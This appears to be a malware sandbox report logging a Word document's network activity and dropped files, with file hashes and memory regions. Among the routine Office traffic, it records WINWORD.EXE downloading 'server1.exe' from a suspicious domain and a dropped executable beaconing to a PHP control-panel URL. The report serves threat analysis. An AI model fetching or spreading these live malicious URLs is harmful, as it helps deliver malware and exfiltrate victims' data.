    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851222.cab
    WINWORD.EXE
    Remote address:
    2.19.117.152:443
    Request
    GET /support/templates/en-us/tp02851222.cab HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: binaries.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Length: 28911
    Content-Type: application/vnd.ms-cab-compressed
    Content-MD5: bXh7HiI9trkbaSOAYsyocg==
    Last-Modified: Fri, 22 Apr 2016 16:09:41 GMT
    ETag: 0x8D36AC8830E54C8
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: 2bee5db1-501e-00ee-2682-b92003000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Wed, 04 Dec 2024 16:21:47 GMT
    Connection: keep-alive
    Access-Control-Allow-Headers: *
    Vary: Origin
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *
  • flag-gb
    GET
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851223.cab
    WINWORD.EXE
    Remote address:
    2.19.117.152:443
    Request
    GET /support/templates/en-us/tp02851223.cab HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: binaries.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Length: 32833
    Content-Type: application/vnd.ms-cab-compressed
    Content-MD5: IFr1FgTvlu8ejmAhJUH3Qg==
    Last-Modified: Fri, 22 Apr 2016 16:09:41 GMT
    ETag: 0x8D36AC88357BC32
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: 1e858e71-b01e-0028-5118-2de1ed000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Wed, 04 Dec 2024 16:21:47 GMT
    Connection: keep-alive
    Access-Control-Allow-Headers: *
    Vary: Origin
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *
  • flag-gb
    GET
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851225.cab
    WINWORD.EXE
    Remote address:
    2.19.117.152:443
    Request
    GET /support/templates/en-us/tp02851225.cab HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: binaries.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Length: 31008
    Content-Type: application/vnd.ms-cab-compressed
    Content-MD5: 4DPMvHunh6L4JM4JUuV9RA==
    Last-Modified: Fri, 22 Apr 2016 16:09:42 GMT
    ETag: 0x8D36AC883F49D7D
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: b3f59ba9-f01e-00aa-4597-a0aa3c000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Wed, 04 Dec 2024 16:21:47 GMT
    Connection: keep-alive
    Access-Control-Allow-Headers: *
    Vary: Origin
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *
  • flag-gb
    GET
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851226.cab
    WINWORD.EXE
    Remote address:
    2.19.117.152:443
    Request
    GET /support/templates/en-us/tp02851226.cab HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: binaries.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Length: 35519
    Content-Type: application/vnd.ms-cab-compressed
    Content-MD5: U+6dpJ0LhDVwOOzzdoONLg==
    Last-Modified: Fri, 22 Apr 2016 16:09:43 GMT
    ETag: 0x8D36AC88440C433
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: 19a4e9a0-101e-0104-7797-a0f920000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Wed, 04 Dec 2024 16:21:47 GMT
    Connection: keep-alive
    Access-Control-Allow-Headers: *
    Vary: Origin
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *
  • flag-gb
    GET
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851224.cab
    WINWORD.EXE
    Remote address:
    2.19.117.152:443
    Request
    GET /support/templates/en-us/tp02851224.cab HTTP/1.1
    Connection: Keep-Alive
    Accept-Encoding: gzip
    User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.12527; Pro)
    X-IDCRL_ACCEPTED: t
    X-Office-Version: 16.0.12527
    X-Office-Application: 0
    X-Office-Platform: Win32
    X-Office-AudienceGroup: Production
    X-Office-SessionId: 92C95C72-922E-4C67-A02A-A2418CB0A649
    Host: binaries.templates.cdn.office.net
    Response
    HTTP/1.1 200 OK
    Content-Length: 30957
    Content-Type: application/vnd.ms-cab-compressed
    Content-MD5: 08kDbk4RWegysbTS6dQr8A==
    Last-Modified: Fri, 22 Apr 2016 16:09:42 GMT
    ETag: 0x8D36AC883A171B7
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: 7a3535a8-301e-0103-55f4-b69543000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Wed, 04 Dec 2024 16:21:47 GMT
    Connection: keep-alive
    Access-Control-Allow-Headers: *
    Vary: Origin
    Access-Control-Allow-Credentials: true
    Access-Control-Allow-Methods: GET,POST,OPTIONS
    Access-Control-Allow-Origin: *
  • flag-us
    DNS
    152.117.19.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    152.117.19.2.in-addr.arpa
    IN PTR
    Response
    152.117.19.2.in-addr.arpa
    IN PTR
    a2-19-117-152deploystaticakamaitechnologiescom
  • flag-us
    DNS
    88.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    88.210.23.2.in-addr.arpa
    IN PTR
    Response
    88.210.23.2.in-addr.arpa
    IN PTR
    a2-23-210-88deploystaticakamaitechnologiescom
  • flag-de
    POST
    http://stipamana.com/redrshyjdft/Panel/five/fre.php
    FYJFZ.exe
    Remote address:
    45.149.241.168:80
    Request
    POST /redrshyjdft/Panel/five/fre.php HTTP/1.0
    User-Agent: Mozilla/4.08 (Charon; Inferno)
    Host: stipamana.com
    Accept: */*
    Content-Type: application/octet-stream
    Content-Encoding: binary
    Content-Key: D3C6499E
    Content-Length: 153
    Connection: close
    Response
    HTTP/1.1 404 Not Found
    Server: nginx
    Date: Wed, 04 Dec 2024 16:22:24 GMT
    Content-Type: text/html; charset=UTF-8
    Content-Length: 23
    Connection: close
    X-Powered-By: PHP/7.3.25
    Status: 404 Not Found
  • flag-us
    DNS
    31.243.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    31.243.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-de
    POST
    http://stipamana.com/redrshyjdft/Panel/five/fre.php
    FYJFZ.exe
    Remote address:
    45.149.241.168:80
    Request
    POST /redrshyjdft/Panel/five/fre.php HTTP/1.0
    User-Agent: Mozilla/4.08 (Charon; Inferno)
    Host: stipamana.com
    Accept: */*
    Content-Type: application/octet-stream
    Content-Encoding: binary
    Content-Key: D3C6499E
    Content-Length: 153
    Connection: close
    Response
    HTTP/1.1 404 Not Found
    Server: nginx
    Date: Wed, 04 Dec 2024 16:23:24 GMT
    Content-Type: text/html; charset=UTF-8
    Content-Length: 23
    Connection: close
    X-Powered-By: PHP/7.3.25
    Status: 404 Not Found
  • 52.109.89.19:443
    https://roaming.officeapps.live.com/rs/RoamingSoapService.svc
    tls, http
    WINWORD.EXE
    1.8kB
     8.2kB
     12
    11

    HTTP Request

    POST https://roaming.officeapps.live.com/rs/RoamingSoapService.svc

    HTTP Response

    200
  • 172.67.202.26:443
    https://www.sodiumlaurethsulfatedesyroyer.com/ewehtdfgjfgjkfhjkfgjfgjhgghfshhdfg/yuthsyjdsthsrfgrarhsdtsrhstrhtshstuysrhafgragsgrghtafgre/dfhsdthdsfagesadghtahrsgthsrthgsfhgfs/rgsdtshgxbsdfghsgtbfjdfjdgsdfhsfh/server1.exe
    tls, http2
    WINWORD.EXE
    10.6kB
     265.5kB
     212
    207

    HTTP Request

    GET https://www.sodiumlaurethsulfatedesyroyer.com/ewehtdfgjfgjkfhjkfgjfgjhgghfshhdfg/yuthsyjdsthsrfgrarhsdtsrhstrhtshstuysrhafgragsgrghtafgre/dfhsdthdsfagesadghtahrsgthsrthgsfhgfs/rgsdtshgxbsdfghsgtbfjdfjdgsdfhsfh/server1.exe

    HTTP Response

    200
  • 142.250.200.3:80
    http://c.pki.goog/r/r4.crl
    http
    WINWORD.EXE
    602 B
     3.9kB
     8
    6

    HTTP Request

    GET http://c.pki.goog/r/gsr1.crl

    HTTP Response

    200

    HTTP Request

    GET http://c.pki.goog/r/r4.crl

    HTTP Response

    200
  • 45.149.241.168:80
    http://stipamana.com/redrshyjdft/Panel/five/fre.php
    http
    FYJFZ.exe
    884 B
     473 B
     6
    6

    HTTP Request

    POST http://stipamana.com/redrshyjdft/Panel/five/fre.php

    HTTP Response

    404
  • 45.149.241.168:80
    http://stipamana.com/redrshyjdft/Panel/five/fre.php
    http
    FYJFZ.exe
    706 B
     473 B
     6
    6

    HTTP Request

    POST http://stipamana.com/redrshyjdft/Panel/five/fre.php

    HTTP Response

    404
  • 45.149.241.168:80
    http://stipamana.com/redrshyjdft/Panel/five/fre.php
    http
    FYJFZ.exe
    679 B
     481 B
     6
    6

    HTTP Request

    POST http://stipamana.com/redrshyjdft/Panel/five/fre.php

    HTTP Response

    404
  • 2.17.106.194:443
    https://metadata.templates.cdn.office.net/client/templates/gallery?lcid=1033&syslcid=1033&uilcid=1033&app=0&ver=16&tl=2&build=16.0.12527&gtype=0%2C1%2C2%2C5%2C
    tls, http
    WINWORD.EXE
    1.3kB
     6.0kB
     10
    11

    HTTP Request

    GET https://metadata.templates.cdn.office.net/client/templates/gallery?lcid=1033&syslcid=1033&uilcid=1033&app=0&ver=16&tl=2&build=16.0.12527&gtype=0%2C1%2C2%2C5%2C

    HTTP Response

    200
  • 2.19.117.152:443
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02835233.cab
    tls, http
    WINWORD.EXE
    2.4kB
     53.0kB
     33
    44

    HTTP Request

    GET https://binaries.templates.cdn.office.net/support/templates/en-us/tp02835233.cab

    HTTP Response

    200
  • 2.19.117.152:443
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851227.cab
    tls, http
    WINWORD.EXE
    1.9kB
     37.5kB
     24
    33

    HTTP Request

    GET https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851227.cab

    HTTP Response

    200
  • 2.19.117.152:443
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851216.cab
    tls, http
    WINWORD.EXE
    1.8kB
     41.0kB
     23
    36

    HTTP Request

    GET https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851216.cab

    HTTP Response

    200
  • 2.19.117.152:443
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851218.cab
    tls, http
    WINWORD.EXE
    2.2kB
     37.9kB
     27
    33

    HTTP Request

    GET https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851218.cab

    HTTP Response

    200
  • 2.19.117.152:443
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851217.cab
    tls, http
    WINWORD.EXE
    1.8kB
     39.8kB
     23
    35

    HTTP Request

    GET https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851217.cab

    HTTP Response

    200
  • 2.19.117.152:443
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851219.cab
    tls, http
    WINWORD.EXE
    2.1kB
     37.7kB
     27
    33

    HTTP Request

    GET https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851219.cab

    HTTP Response

    200
  • 2.19.117.152:443
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851220.cab
    tls, http
    WINWORD.EXE
    2.2kB
     37.5kB
     28
    33

    HTTP Request

    GET https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851220.cab

    HTTP Response

    200
  • 2.19.117.152:443
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851221.cab
    tls, http
    WINWORD.EXE
    1.7kB
     37.6kB
     21
    33

    HTTP Request

    GET https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851221.cab

    HTTP Response

    200
  • 2.19.117.152:443
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851222.cab
    tls, http
    WINWORD.EXE
    2.2kB
     34.9kB
     28
    31

    HTTP Request

    GET https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851222.cab

    HTTP Response

    200
  • 2.19.117.152:443
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851223.cab
    tls, http
    WINWORD.EXE
    1.8kB
     39.0kB
     22
    34

    HTTP Request

    GET https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851223.cab

    HTTP Response

    200
  • 2.19.117.152:443
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851225.cab
    tls, http
    WINWORD.EXE
    2.2kB
     37.1kB
     28
    33

    HTTP Request

    GET https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851225.cab

    HTTP Response

    200
  • 2.19.117.152:443
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851226.cab
    tls, http
    WINWORD.EXE
    2.4kB
     41.7kB
     32
    36

    HTTP Request

    GET https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851226.cab

    HTTP Response

    200
  • 2.19.117.152:443
    https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851224.cab
    tls, http
    WINWORD.EXE
    2.3kB
     37.0kB
     29
    33

    HTTP Request

    GET https://binaries.templates.cdn.office.net/support/templates/en-us/tp02851224.cab

    HTTP Response

    200
  • 45.149.241.168:80
    http://stipamana.com/redrshyjdft/Panel/five/fre.php
    http
    FYJFZ.exe
    679 B
     481 B
     6
    6

    HTTP Request

    POST http://stipamana.com/redrshyjdft/Panel/five/fre.php

    HTTP Response

    404
  • 45.149.241.168:80
    http://stipamana.com/redrshyjdft/Panel/five/fre.php
    http
    FYJFZ.exe
    679 B
     481 B
     6
    6

    HTTP Request

    POST http://stipamana.com/redrshyjdft/Panel/five/fre.php

    HTTP Response

    404
  • 8.8.8.8:53
    240.76.109.52.in-addr.arpa
    dns
    72 B
     146 B
     1
    1

    DNS Request

    240.76.109.52.in-addr.arpa

  • 8.8.8.8:53
    roaming.officeapps.live.com
    dns
    WINWORD.EXE
    73 B
     247 B
     1
    1

    DNS Request

    roaming.officeapps.live.com

    DNS Response

    52.109.89.19

  • 8.8.8.8:53
    133.211.185.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    133.211.185.52.in-addr.arpa

  • 8.8.8.8:53
    21.236.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    21.236.111.52.in-addr.arpa

  • 8.8.8.8:53
    83.210.23.2.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    83.210.23.2.in-addr.arpa

  • 8.8.8.8:53
    19.89.109.52.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    19.89.109.52.in-addr.arpa

  • 8.8.8.8:53
    140.32.126.40.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    140.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
     144 B
     1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    www.sodiumlaurethsulfatedesyroyer.com
    dns
    WINWORD.EXE
    83 B
     115 B
     1
    1

    DNS Request

    www.sodiumlaurethsulfatedesyroyer.com

    DNS Response

    172.67.202.26
    104.21.58.76

  • 8.8.8.8:53
    c.pki.goog
    dns
    WINWORD.EXE
    56 B
     107 B
     1
    1

    DNS Request

    c.pki.goog

    DNS Response

    142.250.200.3

  • 8.8.8.8:53
    26.202.67.172.in-addr.arpa
    dns
    72 B
     134 B
     1
    1

    DNS Request

    26.202.67.172.in-addr.arpa

  • 8.8.8.8:53
    3.200.250.142.in-addr.arpa
    dns
    72 B
     110 B
     1
    1

    DNS Request

    3.200.250.142.in-addr.arpa

  • 8.8.8.8:53
    stipamana.com
    dns
    FYJFZ.exe
    59 B
     75 B
     1
    1

    DNS Request

    stipamana.com

    DNS Response

    45.149.241.168

  • 8.8.8.8:53
    168.241.149.45.in-addr.arpa
    dns
    73 B
     127 B
     1
    1

    DNS Request

    168.241.149.45.in-addr.arpa

  • 8.8.8.8:53
    170.117.168.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    170.117.168.52.in-addr.arpa

  • 8.8.8.8:53
    228.249.119.40.in-addr.arpa
    dns
    73 B
     159 B
     1
    1

    DNS Request

    228.249.119.40.in-addr.arpa

  • 8.8.8.8:53
    200.163.202.172.in-addr.arpa
    dns
    74 B
     160 B
     1
    1

    DNS Request

    200.163.202.172.in-addr.arpa

  • 8.8.8.8:53
    metadata.templates.cdn.office.net
    dns
    WINWORD.EXE
    79 B
     231 B
     1
    1

    DNS Request

    metadata.templates.cdn.office.net

    DNS Response

    2.17.106.194
    2.17.106.146

  • 8.8.8.8:53
    binaries.templates.cdn.office.net
    dns
    WINWORD.EXE
    79 B
     202 B
     1
    1

    DNS Request

    binaries.templates.cdn.office.net

    DNS Response

    2.19.117.152
    2.19.117.150

  • 8.8.8.8:53
    206.23.85.13.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    206.23.85.13.in-addr.arpa

  • 8.8.8.8:53
    194.106.17.2.in-addr.arpa
    dns
    71 B
     135 B
     1
    1

    DNS Request

    194.106.17.2.in-addr.arpa

  • 8.8.8.8:53
    152.117.19.2.in-addr.arpa
    dns
    71 B
     135 B
     1
    1

    DNS Request

    152.117.19.2.in-addr.arpa

  • 8.8.8.8:53
    88.210.23.2.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    88.210.23.2.in-addr.arpa

  • 8.8.8.8:53
    31.243.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    31.243.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD7C5.tmp\iso690.xsl
    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1045960512-3948844814-3059691613-1000\0f5007522459c86e95ffcc62f32308f1_a4172161-d53d-48af-8f36-a00b057e74d4
    Filesize

    46B

    MD5

    c07225d4e7d01d31042965f048728a0a

    SHA1

    69d70b340fd9f44c89adb9a2278df84faa9906b7

    SHA256

    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

    SHA512

    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1045960512-3948844814-3059691613-1000\0f5007522459c86e95ffcc62f32308f1_a4172161-d53d-48af-8f36-a00b057e74d4
    Filesize

    46B

    MD5

    d898504a722bff1524134c6ab6a5eaa5

    SHA1

    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

    SHA256

    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

    SHA512

    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
    Filesize

    16B

    MD5

    d29962abc88624befc0135579ae485ec

    SHA1

    e40a6458296ec6a2427bcb280572d023a9862b31

    SHA256

    a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

    SHA512

    4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
    Filesize

    2KB

    MD5

    a3035b31436ce1d58037bedf38fa9d0f

    SHA1

    788a48a1560cd8adb0687c5e08c303aecd27db32

    SHA256

    e8ee8fdee5541f89e44be01e2b521b6b2828531cd08eef9373fa2ffe53955be1

    SHA512

    f95dd3f3a397b68cfa49e5165552600a7c01e5be5f0a86c146f33a7de16d580af03ce1c28fe716e65a614df7c62a0178d4ade393c7e4d3d69233f8bdc9ce7ee8

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\FYJFZ.exe
    Filesize

    244KB

    MD5

    d0a7944e3549291c7bd8b6a17b9f0696

    SHA1

    0c45e446f864674c9276db25ea70fb3a919f7448

    SHA256

    250c33c52c6345a39800ca7770ea7b972d0c0cab22cc0ffd77b5cb57f611afc7

    SHA512

    5c992beb6fdea6ddc29131d5bd99242d96dda08f5b7d2fe4acd3f999080d801120fb899de1e8e41c9179be3fef593e1d8a4a3df6cc4efb4f7ae7f1da8d5bf34a

    Download Submit

  • memory/1396-309-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

    Download

  • memory/1396-175-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

    Download

  • memory/1684-12-0x00007FFE0A260000-0x00007FFE0A270000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1684-7-0x00007FFE0C5D0000-0x00007FFE0C5E0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1684-8-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-11-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-14-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-16-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-20-0x00007FFE0A260000-0x00007FFE0A270000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1684-19-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-18-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-17-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-15-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-13-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-1-0x00007FFE4C5ED000-0x00007FFE4C5EE000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1684-70-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-10-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-125-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-0-0x00007FFE0C5D0000-0x00007FFE0C5E0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1684-2-0x00007FFE0C5D0000-0x00007FFE0C5E0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1684-3-0x00007FFE0C5D0000-0x00007FFE0C5E0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1684-177-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-5-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-139-0x00007FFE4C5ED000-0x00007FFE4C5EE000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1684-140-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-4-0x00007FFE0C5D0000-0x00007FFE0C5E0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1684-151-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-9-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1684-150-0x0000027CD1A20000-0x0000027CD1B5C000-memory.dmp

    Filesize

    1.2MB

    Download

  • memory/1684-6-0x00007FFE4C550000-0x00007FFE4C745000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4748-131-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

    Download

  • memory/4748-129-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

    Download

  • memory/5116-128-0x0000000007E60000-0x0000000007EFC000-memory.dmp

    Filesize

    624KB

    Download

  • memory/5116-127-0x00000000059F0000-0x0000000005A3A000-memory.dmp

    Filesize

    296KB

    Download

  • memory/5116-126-0x0000000000F00000-0x0000000000F42000-memory.dmp

    Filesize

    264KB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.